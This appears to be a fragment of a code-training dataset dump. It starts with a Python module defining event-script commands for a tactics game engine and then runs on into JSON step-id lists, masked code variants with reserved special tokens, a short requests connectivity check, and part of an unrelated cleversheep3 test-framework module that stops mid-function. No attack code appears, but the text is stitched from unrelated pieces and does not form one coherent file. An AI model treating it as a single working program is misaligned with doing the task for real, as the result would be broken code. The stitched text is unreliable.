"step-5": "from enum import Enum\nfrom app.utilities.data import Prefab\n\nclass Tags(Enum):\n FLOW_CONTROL = 'Flow Control'\n MUSIC_SOUND = 'Music/Sound'\n PORTRAIT = 'Portrait'\n BG_FG = 'Background/Foreground'\n DIALOGUE_TEXT = 'Dialogue/Text'\n CURSOR_CAMERA = 'Cursor/Camera'\n LEVEL_VARS = 'Level-wide Unlocks and Variables'\n GAME_VARS = 'Game-wide Unlocks and Variables'\n TILEMAP = 'Tilemap'\n REGION = 'Region'\n ADD_REMOVE_INTERACT_WITH_UNITS = 'Add/Remove/Interact with Units'\n MODIFY_UNIT_PROPERTIES = 'Modify Unit Properties'\n UNIT_GROUPS = 'Unit Groups'\n MISCELLANEOUS = 'Miscellaneous'\n HIDDEN = 'Hidden'\n\nclass EventCommand(Prefab):\n nid: str = None\n nickname: str = None\n tag: Tags = Tags.HIDDEN\n desc: str = ''\n\n keywords: list = []\n optional_keywords: list = []\n flags: list = []\n\n values: list = []\n display_values: list = []\n\n def __init__(self, values=None, disp_values=None):\n self.values = values or []\n self.display_values = disp_values or values or []\n\n def save(self):\n # Don't bother saving display values if they are identical\n if self.display_values == self.values:\n return self.nid, self.values\n else:\n return self.nid, self.values, self.display_values\n\n def to_plain_text(self):\n if self.display_values:\n return ';'.join([self.nid] + self.display_values)\n else:\n return ';'.join([self.nid] + self.values)\n\n def __repr__(self):\n return self.to_plain_text()\n\nclass Comment(EventCommand):\n nid = \"comment\"\n nickname = '#'\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\n**Lines** starting with '#' will be ignored.\n \"\"\"\n\n def to_plain_text(self):\n return self.values[0]\n\nclass If(EventCommand):\n nid = \"if\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nIf the _Condition_ returns true, the block under this command will be executed. If it returns false, the script will search for the next **elif**, **else**, or **end** command before proceeding. If it is not a valid Python expression, the result will be treated as false.\n\nRemember to end your **if** blocks with **end**.\n\nThe indentation is not required, but is recommended for organization of the conditional blocks.\n\nExample:\n\n```\nif;game.check_dead('Eirika')\n lose_game\nelif;game.check_dead('Lyon')\n win_game\nelse\n u;Eirika\n s;Eirika;Nice!\n r;Eirika\nend\n```\n \"\"\"\n\n keywords = ['Condition']\n\nclass Elif(EventCommand):\n nid = \"elif\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nWorks exactly like the **if** statement, but is called only if the previous **if** or **elif** returned false.\n\nIn the following example, the **elif** will only be processed if `if;game.check_dead('Eirika')` return false.\n\nExample:\n\n```\nif;game.check_dead('Eirika')\n lose_game\nelif;game.check_dead('Lyon')\n win_game\nelse\n u;Eirika\n s;Eirika;Nice!\n r;Eirika\nend\n```\n \"\"\"\n\n keywords = ['Condition']\n\nclass Else(EventCommand):\n nid = \"else\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nDefines a block to be executed only if the previous **if** or **elif** returned false.\n\nExample:\n\n```\nif;game.check_dead('Eirika')\n lose_game\nelif;game.check_dead('Lyon')\n win_game\nelse\n u;Eirika\n s;Eirika;Nice!\n r;Eirika\nend\n```\n \"\"\"\n\nclass End(EventCommand):\n nid = \"end\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nEnds a conditional block. Refer to the **if** command for more information.\n \"\"\"\n\nclass Break(EventCommand):\n nid = \"break\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nImmediately ends the current event.\n \"\"\"\n\n\nclass Wait(EventCommand):\n nid = \"wait\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nPauses the execution of the script for _Time_ milliseconds.\n\nOften used after a scene transition, cursor movement, or reinforcements to give the player a chance to take in the scene.\n \"\"\"\n\n keywords = ['Time']\n\nclass EndSkip(EventCommand):\n nid = \"end_skip\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nIf the player was skipping through the event script, stop the skip here. Used to prevent a single skip from skipping through an entire event.\n \"\"\"\n\nclass Music(EventCommand):\n nid = \"music\"\n nickname = \"m\"\n tag = Tags.MUSIC_SOUND\n desc = \\\n \"\"\"\nFades in _Music_ over the course of _Time_ milliseconds. Fade in defaults to 400 milliseconds.\n \"\"\"\n\n keywords = ['Music']\n optional_keywords = ['Time'] # How long to fade in (default 400)\n\nclass MusicClear(EventCommand):\n nid = \"music_clear\"\n tag = Tags.MUSIC_SOUND\n\n desc = \\\n \"\"\"\nFades out the currently playing song over the course of _Time_ milliseconds. Also clears the entire song stack. Fade out defaults to 400 milliseconds.\n \"\"\"\n\n optional_keywords = ['Time'] # How long to fade out\n\nclass Sound(EventCommand):\n nid = \"sound\"\n tag = Tags.MUSIC_SOUND\n\n desc = \\\n \"\"\"\nPlays the _Sound_ once.\n \"\"\"\n\n keywords = ['Sound']\n\nclass ChangeMusic(EventCommand):\n nid = 'change_music'\n tag = Tags.MUSIC_SOUND\n\n desc = \\\n \"\"\"\nChanges the phase theme music. For instance, you could use this command to change the player phase theme halfway through the chapter.\n \"\"\"\n\n keywords = ['PhaseMusic', 'Music']\n\nclass AddPortrait(EventCommand):\n nid = \"add_portrait\"\n nickname = \"u\"\n tag = Tags.PORTRAIT\n\n desc = \\\n \"\"\"\nAdds a portrait to the screen.\n\nExtra flags:\n\n1. _mirror_: Portrait will face opposite expected direction.\n2. _low_priority_: Portrait will appear behind all other portraits on the screen.\n3. _immediate_: Portrait will not fade in.\n4. _no_block_: Portrait will fade in, but will not pause execution of event script while doing so.\n \"\"\"\n\n keywords = ['Portrait', 'ScreenPosition']\n optional_keywords = ['Slide', 'ExpressionList']\n flags = [\"mirror\", \"low_priority\", \"immediate\", \"no_block\"]\n\nclass MultiAddPortrait(EventCommand):\n nid = \"multi_add_portrait\"\n nickname = \"uu\"\n tag = Tags.PORTRAIT\n\n desc = \\\n \"\"\"\nAdds more than one portrait to the screen at the same time. Accepts 2-4 portraits and their associated _ScreenPosition_ as input.\n \"\"\"\n\n keywords = ['Portrait', 'ScreenPosition', 'Portrait', 'ScreenPosition']\n optional_keywords = ['Portrait', 'ScreenPosition', 'Portrait', 'ScreenPosition']\n\nclass RemovePortrait(EventCommand):\n nid = \"remove_portrait\"\n nickname = \"r\"\n tag = Tags.PORTRAIT\n\n keywords = ['Portrait']\n flags = [\"immediate\", \"no_block\"]\n\nclass MultiRemovePortrait(EventCommand):\n nid = \"multi_remove_portrait\"\n nickname = \"rr\"\n tag = Tags.PORTRAIT\n\n keywords = ['Portrait', 'Portrait']\n optional_keywords = ['Portrait', 'Portrait']\n\nclass MovePortrait(EventCommand):\n nid = \"move_portrait\"\n tag = Tags.PORTRAIT\n\n keywords = ['Portrait', 'ScreenPosition']\n flags = [\"immediate\", \"no_block\"]\n\nclass BopPortrait(EventCommand):\n nid = \"bop_portrait\"\n nickname = \"bop\"\n tag = Tags.PORTRAIT\n\n keywords = ['Portrait']\n flags = [\"no_block\"]\n\nclass Expression(EventCommand):\n nid = \"expression\"\n nickname = \"e\"\n tag = Tags.PORTRAIT\n\n keywords = ['Portrait', 'ExpressionList']\n\nclass Speak(EventCommand):\n nid = \"speak\"\n nickname = \"s\"\n tag = Tags.DIALOGUE_TEXT\n\n keywords = ['Speaker', 'Text']\n optional_keywords = ['ScreenPosition', 'Width', 'DialogVariant']\n flags = ['low_priority']\n\nclass Transition(EventCommand):\n nid = \"transition\"\n nickname = \"t\"\n tag = Tags.BG_FG\n\n optional_keywords = ['Direction', 'Speed', 'Color3']\n\nclass Background(EventCommand):\n # Also does remove background\n nid = \"change_background\"\n nickname = \"b\"\n tag = Tags.BG_FG\n\n optional_keywords = ['Panorama']\n flags = [\"keep_portraits\"]\n\nclass DispCursor(EventCommand):\n nid = \"disp_cursor\"\n tag = Tags.CURSOR_CAMERA\n\n keywords = [\"Bool\"]\n\nclass MoveCursor(EventCommand):\n nid = \"move_cursor\"\n nickname = \"set_cursor\"\n tag = Tags.CURSOR_CAMERA\n\n keywords = [\"Position\"]\n flags = [\"immediate\"]\n\nclass CenterCursor(EventCommand):\n nid = \"center_cursor\"\n tag = Tags.CURSOR_CAMERA\n\n keywords = [\"Position\"]\n flags = [\"immediate\"]\n\nclass FlickerCursor(EventCommand):\n nid = 'flicker_cursor'\n nickname = 'highlight'\n tag = Tags.CURSOR_CAMERA\n\n keywords = [\"Position\"]\n flags = [\"immediate\"]\n\nclass GameVar(EventCommand):\n nid = 'game_var'\n tag = Tags.GAME_VARS\n\n keywords = [\"Nid\", \"Condition\"]\n\nclass IncGameVar(EventCommand):\n nid = 'inc_game_var'\n tag = Tags.GAME_VARS\n\n keywords = [\"Nid\"]\n optional_keywords = [\"Condition\"]\n\nclass LevelVar(EventCommand):\n nid = 'level_var'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"Nid\", \"Condition\"]\n\nclass IncLevelVar(EventCommand):\n nid = 'inc_level_var'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"Nid\"]\n optional_keywords = [\"Condition\"]\n\nclass WinGame(EventCommand):\n nid = 'win_game'\n tag = Tags.LEVEL_VARS\n\nclass LoseGame(EventCommand):\n nid = 'lose_game'\n tag = Tags.LEVEL_VARS\n\nclass ActivateTurnwheel(EventCommand):\n nid = 'activate_turnwheel'\n tag = Tags.MISCELLANEOUS\n\n # Whether to force the player to move the turnwheel back\n # defaults to true\n optional_keywords = ['Bool']\n\nclass BattleSave(EventCommand):\n nid = 'battle_save'\n tag = Tags.MISCELLANEOUS\n\nclass ChangeTilemap(EventCommand):\n nid = 'change_tilemap'\n tag = Tags.TILEMAP\n\n keywords = [\"Tilemap\"]\n # How much to offset placed units by\n # Which tilemap to load the unit positions from\n optional_keywords = [\"PositionOffset\", \"Tilemap\"]\n flags = [\"reload\"] # Should place units in previously recorded positions\n\nclass LoadUnit(EventCommand):\n nid = 'load_unit'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n keywords = [\"UniqueUnit\"]\n optional_keywords = [\"Team\", \"AI\"]\n\nclass MakeGeneric(EventCommand):\n nid = 'make_generic'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n # Nid, class, level, team, ai, faction, anim variant\n keywords = [\"String\", \"Klass\", \"String\", \"Team\"]\n optional_keywords = [\"AI\", \"Faction\", \"String\", \"ItemList\"]\n\nclass CreateUnit(EventCommand):\n nid = 'create_unit'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n # Unit template and new unit nid (can be '')\n keywords = [\"Unit\", \"String\"]\n # Unit level, position, entrytype, placement\n optional_keywords = [\"String\", \"Position\", \"EntryType\", \"Placement\"]\n\nclass AddUnit(EventCommand):\n nid = 'add_unit'\n nickname = 'add'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n keywords = [\"Unit\"]\n optional_keywords = [\"Position\", \"EntryType\", \"Placement\"]\n\nclass MoveUnit(EventCommand):\n nid = 'move_unit'\n nickname = 'move'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n keywords = [\"Unit\"]\n optional_keywords = [\"Position\", \"MovementType\", \"Placement\"]\n flags = ['no_block', 'no_follow']\n\nclass RemoveUnit(EventCommand):\n nid = 'remove_unit'\n nickname = 'remove'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n keywords = [\"Unit\"]\n optional_keywords = [\"RemoveType\"]\n\nclass KillUnit(EventCommand):\n nid = 'kill_unit'\n nickname = 'kill'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n keywords = [\"Unit\"]\n flags = ['immediate']\n\nclass RemoveAllUnits(EventCommand):\n nid = 'remove_all_units'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\nclass RemoveAllEnemies(EventCommand):\n nid = 'remove_all_enemies'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\nclass InteractUnit(EventCommand):\n nid = 'interact_unit'\n nickname = 'interact'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n keywords = [\"Unit\", \"Unit\"]\n optional_keywords = [\"CombatScript\", \"Ability\"]\n\nclass SetCurrentHP(EventCommand):\n nid = 'set_current_hp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"Unit\", \"PositiveInteger\"]\n\nclass SetCurrentMana(EventCommand):\n nid = 'set_current_mana'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"Unit\", \"PositiveInteger\"]\n\nclass Resurrect(EventCommand):\n nid = 'resurrect'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = [\"GlobalUnit\"]\n\nclass Reset(EventCommand):\n nid = 'reset'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"Unit\"]\n\nclass HasAttacked(EventCommand):\n nid = 'has_attacked'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"Unit\"]\n\nclass HasTraded(EventCommand):\n nid = 'has_traded'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\nclass AddGroup(EventCommand):\n nid = 'add_group'\n tag = Tags.UNIT_GROUPS\n\n keywords = [\"Group\"]\n optional_keywords = [\"StartingGroup\", \"EntryType\", \"Placement\"]\n flags = [\"create\"]\n\nclass SpawnGroup(EventCommand):\n nid = 'spawn_group'\n tag = Tags.UNIT_GROUPS\n\n keywords = [\"Group\", \"CardinalDirection\", \"StartingGroup\"]\n optional_keywords = [\"EntryType\", \"Placement\"]\n flags = [\"create\", \"no_block\", 'no_follow']\n\nclass MoveGroup(EventCommand):\n nid = 'move_group'\n nickname = 'morph_group'\n tag = Tags.UNIT_GROUPS\n\n keywords = [\"Group\", \"StartingGroup\"]\n optional_keywords = [\"MovementType\", \"Placement\"]\n flags = ['no_block', 'no_follow']\n\nclass RemoveGroup(EventCommand):\n nid = 'remove_group'\n tag = Tags.UNIT_GROUPS\n\n keywords = [\"Group\"]\n optional_keywords = [\"RemoveType\"]\n\nclass GiveItem(EventCommand):\n nid = 'give_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"Item\"]\n flags = ['no_banner', 'no_choice', 'droppable']\n\nclass RemoveItem(EventCommand):\n nid = 'remove_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"Item\"]\n flags = ['no_banner']\n\nclass GiveMoney(EventCommand):\n nid = 'give_money'\n tag = Tags.GAME_VARS\n\n keywords = [\"Integer\"]\n optional_keywords = [\"Party\"]\n flags = ['no_banner']\n\nclass GiveBexp(EventCommand):\n nid = 'give_bexp'\n tag = Tags.GAME_VARS\n\n keywords = [\"Condition\"]\n optional_keywords = [\"Party\", \"String\"]\n flags = ['no_banner']\n\nclass GiveExp(EventCommand):\n nid = 'give_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"PositiveInteger\"]\n\nclass SetExp(EventCommand):\n nid = 'set_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"PositiveInteger\"]\n\nclass GiveWexp(EventCommand):\n nid = 'give_wexp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"WeaponType\", \"Integer\"]\n flags = ['no_banner']\n\nclass GiveSkill(EventCommand):\n nid = 'give_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"Skill\"]\n flags = ['no_banner']\n\nclass RemoveSkill(EventCommand):\n nid = 'remove_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"Skill\"]\n flags = ['no_banner']\n\nclass ChangeAI(EventCommand):\n nid = 'change_ai'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"AI\"]\n\nclass ChangeTeam(EventCommand):\n nid = 'change_team'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"GlobalUnit\", \"Team\"]\n\nclass ChangePortrait(EventCommand):\n nid = 'change_portrait'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"GlobalUnit\", \"PortraitNid\"]\n\nclass ChangeStats(EventCommand):\n nid = 'change_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"GlobalUnit\", \"StatList\"]\n flags = ['immediate']\n\nclass SetStats(EventCommand):\n nid = 'set_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"GlobalUnit\", \"StatList\"]\n flags = ['immediate']\n\nclass AutolevelTo(EventCommand):\n nid = 'autolevel_to'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n # Second argument is level that is eval'd\n keywords = [\"GlobalUnit\", \"String\"]\n # Whether to actually change the unit's level\n flags = [\"hidden\"]\n\nclass SetModeAutolevels(EventCommand):\n nid = 'set_mode_autolevels'\n tag = Tags.GAME_VARS\n keywords = [\"String\"]\n # Whether to actually change the unit's level\n flags = [\"hidden\"]\n\nclass Promote(EventCommand):\n nid = 'promote'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"GlobalUnit\"]\n optional_keywords = [\"Klass\"]\n\nclass ChangeClass(EventCommand):\n nid = 'change_class'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"GlobalUnit\"]\n optional_keywords = [\"Klass\"]\n\nclass AddTag(EventCommand):\n nid = 'add_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"Tag\"]\n\nclass RemoveTag(EventCommand):\n nid = 'remove_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"Tag\"]\n\nclass AddTalk(EventCommand):\n nid = 'add_talk'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"Unit\", \"Unit\"]\n\nclass RemoveTalk(EventCommand):\n nid = 'remove_talk'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"Unit\", \"Unit\"]\n\nclass AddLore(EventCommand):\n nid = 'add_lore'\n nickname = 'unlock_lore'\n tag = Tags.GAME_VARS\n\n keywords = [\"Lore\"]\n\nclass RemoveLore(EventCommand):\n nid = 'remove_lore'\n tag = Tags.GAME_VARS\n\n keywords = [\"Lore\"]\n\nclass AddBaseConvo(EventCommand):\n nid = 'add_base_convo'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"String\"]\n\nclass IgnoreBaseConvo(EventCommand):\n nid = 'ignore_base_convo'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"String\"]\n\nclass RemoveBaseConvo(EventCommand):\n nid = 'remove_base_convo'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"String\"]\n\nclass IncrementSupportPoints(EventCommand):\n nid = 'increment_support_points'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']\n\nclass AddMarketItem(EventCommand):\n nid = 'add_market_item'\n tag = Tags.GAME_VARS\n\n keywords = [\"Item\"]\n\nclass RemoveMarketItem(EventCommand):\n nid = 'remove_market_item'\n tag = Tags.GAME_VARS\n\n keywords = [\"Item\"]\n\nclass AddRegion(EventCommand):\n nid = 'add_region'\n tag = Tags.REGION\n\n keywords = [\"Nid\", \"Position\", \"Size\", \"RegionType\"]\n optional_keywords = [\"String\"]\n flags = [\"only_once\"]\n\nclass RegionCondition(EventCommand):\n nid = 'region_condition'\n tag = Tags.REGION\n\n keywords = [\"Nid\", \"Condition\"]\n\nclass RemoveRegion(EventCommand):\n nid = 'remove_region'\n tag = Tags.REGION\n\n keywords = [\"Nid\"]\n\nclass ShowLayer(EventCommand):\n nid = 'show_layer'\n tag = Tags.TILEMAP\n\n keywords = [\"Layer\"]\n optional_keywords = [\"LayerTransition\"]\n\nclass HideLayer(EventCommand):\n nid = 'hide_layer'\n tag = Tags.TILEMAP\n\n keywords = [\"Layer\"]\n optional_keywords = [\"LayerTransition\"]\n\nclass AddWeather(EventCommand):\n nid = 'add_weather'\n tag = Tags.TILEMAP\n\n keywords = [\"Weather\"]\n\nclass RemoveWeather(EventCommand):\n nid = 'remove_weather'\n tag = Tags.TILEMAP\n\n keywords = [\"Weather\"]\n\nclass ChangeObjectiveSimple(EventCommand):\n nid = 'change_objective_simple'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"String\"]\n\nclass ChangeObjectiveWin(EventCommand):\n nid = 'change_objective_win'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"String\"]\n\nclass ChangeObjectiveLoss(EventCommand):\n nid = 'change_objective_loss'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"String\"]\n\nclass SetPosition(EventCommand):\n nid = 'set_position'\n tag = Tags.MISCELLANEOUS\n\n keywords = [\"String\"]\n\nclass MapAnim(EventCommand):\n nid = 'map_anim'\n tag = Tags.TILEMAP\n\n keywords = [\"MapAnim\", \"Position\"]\n flags = [\"no_block\"]\n\nclass ArrangeFormation(EventCommand):\n nid = 'arrange_formation'\n tag = Tags.MISCELLANEOUS\n # Puts units on formation tiles automatically\n\nclass Prep(EventCommand):\n nid = 'prep'\n tag = Tags.MISCELLANEOUS\n\n optional_keywords = [\"Bool\", \"Music\"] # Pick units\n\nclass Base(EventCommand):\n nid = 'base'\n tag = Tags.MISCELLANEOUS\n\n keywords = [\"Panorama\"]\n optional_keywords = [\"Music\"]\n\nclass Shop(EventCommand):\n nid = 'shop'\n tag = Tags.MISCELLANEOUS\n\n keywords = [\"Unit\", \"ItemList\"]\n optional_keywords = [\"ShopFlavor\"]\n\nclass Choice(EventCommand):\n nid = 'choice'\n tag = Tags.MISCELLANEOUS\n\n keywords = ['Nid', 'String', 'StringList']\n optional_keywords = ['Orientation']\n\nclass ChapterTitle(EventCommand):\n nid = 'chapter_title'\n tag = Tags.MISCELLANEOUS\n\n optional_keywords = [\"Music\", \"String\"]\n\nclass Alert(EventCommand):\n nid = 'alert'\n tag = Tags.DIALOGUE_TEXT\n\n keywords = [\"String\"]\n\nclass VictoryScreen(EventCommand):\n nid = 'victory_screen'\n tag = Tags.MISCELLANEOUS\n\nclass RecordsScreen(EventCommand):\n nid = 'records_screen'\n tag = Tags.MISCELLANEOUS\n\nclass LocationCard(EventCommand):\n nid = 'location_card'\n tag = Tags.DIALOGUE_TEXT\n\n keywords = [\"String\"]\n\nclass Credits(EventCommand):\n nid = 'credits'\n tag = Tags.DIALOGUE_TEXT\n\n keywords = [\"String\", \"String\"]\n flags = ['wait', 'center', 'no_split']\n\nclass Ending(EventCommand):\n nid = 'ending'\n tag = Tags.DIALOGUE_TEXT\n\n keywords = [\"Portrait\", \"String\", \"String\"]\n\nclass PopDialog(EventCommand):\n nid = 'pop_dialog'\n tag = Tags.DIALOGUE_TEXT\n desc = \\\n \"\"\"\nRemoves the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.\n\nExample:\n\n```\nending;Coyote;Coyote, Man of Mystery;Too mysterious for words.\ntransition;Close\npop_dialog\ntransition;Open\n```\n \"\"\"\n\nclass Unlock(EventCommand):\n nid = 'unlock'\n tag = Tags.REGION\n\n keywords = [\"Unit\"]\n\nclass FindUnlock(EventCommand):\n nid = 'find_unlock'\n tag = Tags.HIDDEN\n\n keywords = [\"Unit\"]\n\nclass SpendUnlock(EventCommand):\n nid = 'spend_unlock'\n tag = Tags.HIDDEN\n\n keywords = [\"Unit\"]\n\nclass TriggerScript(EventCommand):\n nid = 'trigger_script'\n tag = Tags.MISCELLANEOUS\n\n keywords = [\"Event\"]\n optional_keywords = [\"GlobalUnit\", \"GlobalUnit\"]\n\nclass ChangeRoaming(EventCommand):\n nid = 'change_roaming'\n tag = Tags.MISCELLANEOUS\n desc = \"Turn free roam mode on or off\"\n\n keywords = [\"Bool\"]\n\nclass ChangeRoamingUnit(EventCommand):\n nid = 'change_roaming_unit'\n tag = Tags.MISCELLANEOUS\n desc = \"Changes the level's current roaming unit.\"\n\n keywords = [\"Unit\"]\n\nclass CleanUpRoaming(EventCommand):\n nid = 'clean_up_roaming'\n tag = Tags.MISCELLANEOUS\n desc = \"Removes all units other than the roaming unit\"\n\n keywords = []\n\nclass AddToInitiative(EventCommand):\n nid = 'add_to_initiative'\n tag = Tags.MISCELLANEOUS\n desc = \"Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.\"\n\n keywords = [\"Unit\", \"Integer\"]\n\nclass MoveInInitiative(EventCommand):\n nid = 'move_in_initiative'\n tag = Tags.MISCELLANEOUS\n desc = \"Moves the initiative of the specified unit.\"\n\n keywords = [\"Unit\", \"Integer\"]\n\ndef get_commands():\n return EventCommand.__subclasses__()\n\ndef restore_command(dat):\n if len(dat) == 2:\n nid, values = dat\n display_values = None\n elif len(dat) == 3:\n nid, values, display_values = dat\n subclasses = EventCommand.__subclasses__()\n for command in subclasses:\n if command.nid == nid:\n copy = command(values, display_values)\n return copy\n print(\"Couldn't restore event command!\")\n print(nid, values, display_values)\n return None\n\ndef parse_text(text):\n if text.startswith('#'):\n return Comment([text])\n arguments = text.split(';')\n command_nid = arguments[0]\n subclasses = EventCommand.__subclasses__()\n for command in subclasses:\n if command.nid == command_nid or command.nickname == command_nid:\n cmd_args = arguments[1:]\n true_cmd_args = []\n command_info = command()\n for idx, arg in enumerate(cmd_args):\n if idx < len(command_info.keywords):\n cmd_keyword = command_info.keywords[idx]\n elif idx - len(command_info.keywords) < len(command_info.optional_keywords):\n cmd_keyword = command_info.optional_keywords[idx - len(command_info.keywords)]\n else:\n cmd_keyword = \"N/A\"\n # if parentheses exists, then they contain the \"true\" arg, with everything outside parens essentially as comments\n if '(' in arg and ')' in arg and not cmd_keyword == 'Condition':\n true_arg = arg[arg.find(\"(\")+1:arg.find(\")\")]\n true_cmd_args.append(true_arg)\n else:\n true_cmd_args.append(arg)\n copy = command(true_cmd_args, cmd_args)\n return copy\n return None\n\ndef parse(command):\n values = command.values\n num_keywords = len(command.keywords)\n true_values = values[:num_keywords]\n flags = {v for v in values[num_keywords:] if v in command.flags}\n optional_keywords = [v for v in values[num_keywords:] if v not in flags]\n true_values += optional_keywords\n return true_values, flags\n",
"step-ids": [
119,
154,
180,
218,
252
]
}
|
[
119,
154,
180,
218,
252
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
try:
r = requests.get('http://skitter.com')
print(r)
except (requests.ConnectionError, requests.Timeout) as x:
pass
<|reserved_special_token_1|>
import requests
try:
r = requests.get('http://skitter.com')
print(r)
except (requests.ConnectionError, requests.Timeout) as x:
pass
<|reserved_special_token_1|>
import requests
#try make the request
try:
r = requests.get('http://skitter.com')
print(r) # see the results
# catch a failue
except (requests.ConnectionError, requests.Timeout) as x:
pass
|
flexible
|
{
"blob_id": "a26cab29f0777764f014eeff13745be60e55b62d",
"index": 724,
"step-1": "<mask token>\n",
"step-2": "<mask token>\ntry:\n r = requests.get('http://skitter.com')\n print(r)\nexcept (requests.ConnectionError, requests.Timeout) as x:\n pass\n",
"step-3": "import requests\ntry:\n r = requests.get('http://skitter.com')\n print(r)\nexcept (requests.ConnectionError, requests.Timeout) as x:\n pass\n",
"step-4": "import requests\n\n#try make the request\ntry:\n\tr = requests.get('http://skitter.com')\n\tprint(r)\t# see the results\n\n# catch a failue\nexcept (requests.ConnectionError, requests.Timeout) as x:\n\tpass",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
"""Those things that are core to tests.
This module provides the most fundamental test entities, which include such
things as:
- Tests
- Suites
- Test states
"""
from __future__ import print_function
__docformat__ = "restructuredtext"
import os
import textwrap
import time
import weakref
import inspect
from cleversheep3.Prog.Aspects import intelliprop
from cleversheep3.Prog.Enum import Enum
from cleversheep3.Test.Tester import Context
from cleversheep3.Test.Tester import Coordinator
from cleversheep3.Test.Tester import options
State = Enum("State")
# Static test states.
NOT_RUN = State("NOT_RUN")
PASS = State("PASS")
FAIL = State("FAIL")
SKIPPED = State("SKIPPED")
BROKEN = State("BROKEN")
DISABLED = State("DISABLED")
BUG = State("BUG")
BUG_PASS = State("BUG_PASS")
TODO = State("TODO")
# Dynamic test states.
SET_UP = State("SET_UP")
TEAR_DOWN = State("TEAR_DOWN")
RUNNING = State("RUNNING")
FINISHED = State("FINISHED") # TODO: To remove!
# Suite specific states.
CHILD_FAIL = State("CHILD_FAIL")
PART_RUN = State("PART_RUN")
# Reason codes. Note that this list is those codes that are only used as
# reasons, some states are also used as reason code.
NONE = State("NONE")
ERROR = State("ERROR")
BAD_SETUP = State("BAD_SETUP")
BAD_SUITE_SETUP = State("BAD_SUITE_SETUP")
EXIT_SUITE = State("EXIT_SUITE")
EXIT_ALL = State("EXIT_ALL")
USER_STOPPED = State("USER_STOPPED")
def dedentLines(lines):
return textwrap.dedent("\n".join(lines)).splitlines()
class TestInfo:
"""Information about a test function.
This class supports the ``@test(...)`` decorator that is used by
cleversheep3 to mark test functions. All such marked functions are given
an attribute called ``cs_test_info``, which is in an instance of this
class.
This is most commonly used in test filter functions, as registered by
`addTestFilter`. When tests are marked using the ``@test`` decorator
they can be given one or more tags and/or flags.
Currently this is little more than a struct, except that it provides
a `__getattr__` that returns ``None`` by default.
"""
def __init__(self, *args, **kwargs):
"""Constructor:
:Parameters:
args
Non-keyword arguments are interpreted by the test framework.
Each argument is a string. The supported forms are:
plat:<platformType>
The test will only be executed if ``<platformType>`` matches
`Sys.Platform.platformType`. For example: ``"plat:windows"``.
kwargs
Any keyword arguments are simply stored as attributes. So, if
you decorate a ``test_x`` with ``test(xyz=123)`` then
``test_x.cs_test_info.xyz`` will be ``123``.
"""
self.reserved_cs_flags = {}
self.cs_flags = {}
self.cs_tags = {}
for arg in args:
